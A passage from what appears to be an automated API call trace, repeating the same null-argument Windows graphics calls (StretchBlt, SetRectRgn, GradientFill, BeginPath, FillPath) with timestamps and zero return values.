hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.429] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.429] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.430] FillPath (hdc=0x0) returned 0 [0119.430] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.430] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.430] GradientFill () returned 0x0 [0119.430] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.431] FillPath (hdc=0x0) returned 0 [0119.431] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.431] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.431] GradientFill () returned 0x0 [0119.431] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.432] GradientFill () returned 0x0 [0119.432] BeginPath (hdc=0x0) returned 0 [0119.432] FillPath (hdc=0x0) returned 0 [0119.432] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.432] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.433] FillPath (hdc=0x0) returned 0 [0119.433] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.433] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.433] GradientFill () returned 0x0 [0119.433] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.434] GradientFill () returned 0x0 [0119.434] BeginPath (hdc=0x0) returned 0 [0119.434] FillPath (hdc=0x0) returned 0 [0119.434] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.434] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath (hdc=0x0) returned 0 [0119.435] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.435] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.435] GradientFill () returned 0x0 [0119.435] BeginPath (hdc=0x0) returned 0 [0119.435] FillPath 